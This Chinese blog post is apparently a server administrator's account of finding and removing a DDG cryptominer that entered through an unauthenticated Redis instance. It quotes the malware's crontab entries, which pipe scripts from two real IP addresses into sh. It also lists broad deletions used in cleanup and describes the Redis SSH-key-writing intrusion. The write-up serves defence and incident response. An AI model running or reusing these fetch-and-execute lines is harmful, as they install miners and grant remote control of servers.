背景

檢查伺服器資源的時候發現伺服器的CPUC已經100%，而且是一直是這樣，
最近三天的CPU使用率直方圖

當前一個小時的直方圖

18：15：00筆直下降的是我在處理後CPU的使用率情況

找到它在哪裡

先看top程序使用情況

 # top
top - 18:10:50 up 196 days, 18:59,  2 users,  load average: 4.47, 4.21, 4.11
Tasks: 163 total,   1 running, 162 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.0 us,  1.6 sy, 98.4
 
 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 16267972 total,   185160 free, 14179644 used,  1903168 buff/cache
KiB Swap:        0 total,        0 free,        0 used.  1689432 avail Mem
Which user (blank for all)
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
16634 root      20
 
   0  541132  50260      0 S 400.0  0.3  78595:40 imWBR1
    1 root      20   0   43296   2364   1112 S   0.0  0.0  52:21.51 systemd

根據CPU使用率排序，可以看到排行第一imWBR1的CPU使用率是400%，它的程序id是16634

根據它的程序檢視命令情況

# ps 16634
  PID TTY      STAT   TIME COMMAND
16634 ?        Ssl  78597:57 /tmp/imWBR1

可以看到它是從/tmp/imWBR1執行的
那麼我們檢視該目錄下的執行檔案

 ls /tmp/
Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
ddg.2021
hsperfdata_root
mysql.sock
php-cgi.sock
sess_08bs7nf1rl24pem9ve5fbeg5a6

可以看到ddg.2021是綠色的，那麼可以肯定它就是該程式的啟動命令或者是守護程式

當我kill 16634後 它之後依然會出現在程序中，顯然他是殺不死的，因此尋找命令有
ddg.2021會發現它也有一個自己的程序一直在跑
top之後看下圖

#top
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
16634 root      20   0  541132  50260      0 S 399.3  0.3  78613:31 imWBR1
 3195 root      20   0 8030128 1.647g      0 S   0.3 10.6  47:12.17 java
10111 root      20   0 1565408  71356    888 S   0.3  0.4 951:29.45 ddg.2021

看到ddg.2021的程序id是10111
那麼先刪除命令指令碼，在殺死程序

rm -f /tmp/ddg.2021
kill -9 10111
kill -9 16634

殺不死的小強

是不這樣就可以了呢，很可惜，我以為這樣就可以了，但是它並沒有啊，請看下面的圖

顯然它在15分鐘後開始自啟動了，接著大概在18：37分鐘的時候它又開始工作了，重新開啟399.7%CPU

程序情況如下

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 2791 root      20   0  541148  44416   1000 S 399.7  0.3  40:45.54 imWBR1
 2607 root      20   0  310392   9268   5776 S   0.3  0.1   0:01.14 ddg.2021
 4292 root      20   0   27768   1584    516 S   0.3  0.0  26:33.63 redis-server
 7110 root      20   0  251348  16712   3072 S   0.3  0.1 181:11.61 AliYunDun

而/tmp目錄中又出現了ddg.2021，而且還多了imWBR1

ls /tmp/
ddg.2021
hsperfdata_root
imWBR1

再次刪除並殺掉程序

rm -f /tmp/ddg.2021  /tmp/imWBR1
kill -9 2791
kill -9 2607

最終版本：找到它的定時任務並刪除執行指令碼和SSH的公鑰

可以肯定的是一點會有一個定時任務在不停的檢測是否程式被殺死了，如果殺死了並且可執行檔案也被刪除了那麼它就會自動下載源程式並且啟動執行指令碼。
根據參考文件我去/var/spool/cron這個資料夾看了下，事實就是如此，那麼我們來看看它的定時任務內容

cat  /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

1. 可以看出它有兩個定時任務
   刪除/var/spool/cron下的內容

 rm -fr  /var/spool/cron/

2.刪除ssh授權的公鑰配置資訊

rm -fr /root/.ssh/*

3.刪除執行指令碼和程式
在執行上面相似的方法

 ps -aux|grep ddg
   3458  /tmp/ddg.2021
 kill -9 3458
ps -aux|grep imWBR1
 3649  /tmp/imWBR1
kill -9 3649

rm -f /tmp/ddg.2021  /tmp/imWBR1

4.清空/etc/crontab中的定時任務
接著找定時任務，我在/etc/crontab找到一個，看ip就覺得有問題

 cat /etc/crontab
REDIS0006▒cccccc@O
*/1 * * * * /usr/bin/curl -fsSLk 'http://104.161.63.57/install.curl' | sh

清空該定時任務

echo '' > /etc/crontab

根據定時任務檢視這些指令碼檔案的內容

從他們提供的ip中我們可以看到如下資訊
兩臺伺服器的地址都在國外：
第一個IP：218.248.40.228印度
第二個IP：104.161.63.57美國

第一個ip的8080埠開啟了使用的是Apache Tomcat 6.0
第二個IP的80埠模仿Apache 的頁面

兩個指令碼，第一個ip的腳步內容是下載挖礦程式並開啟定時任務
第二個指令碼則比較厲害了，直接關閉防火牆，並且把遠端把遠端的SSH公鑰新增到author-key中了，這樣你的機器基本就是裸機了

Redis 因配置不當存在未授權訪問漏洞，可以被攻擊者惡意利用。
在特定條件下，如果 Redis 以 root 身份執行，黑客可以給 root 賬號寫入 SSH 公鑰檔案，直接通過 SSH 登入受害伺服器，從而獲取伺服器許可權和資料。一旦入侵成功，攻擊者可直接新增賬號用於 SSH 遠端登入控制伺服器，給使用者的 Redis 執行環境以及 Linux 主機帶來安全風險，如刪除、洩露或加密重要資料，引發勒索事件等。

受影響範圍
在 Redis 客戶端，嘗試無賬號登入 Redis：

root@kali:~# redis-cli -h 10.16.10.2
redis 10.16.10.2:6379=keys *

從登入結果可以看出，該 Redis 服務對公網開放，且未啟用認證。

我只能說還好別人沒有把你的系統資源給刪除了，不然就哭去吧，說到這麼多，公網的安全工作一定要做好，驚心動魄啊

參考資料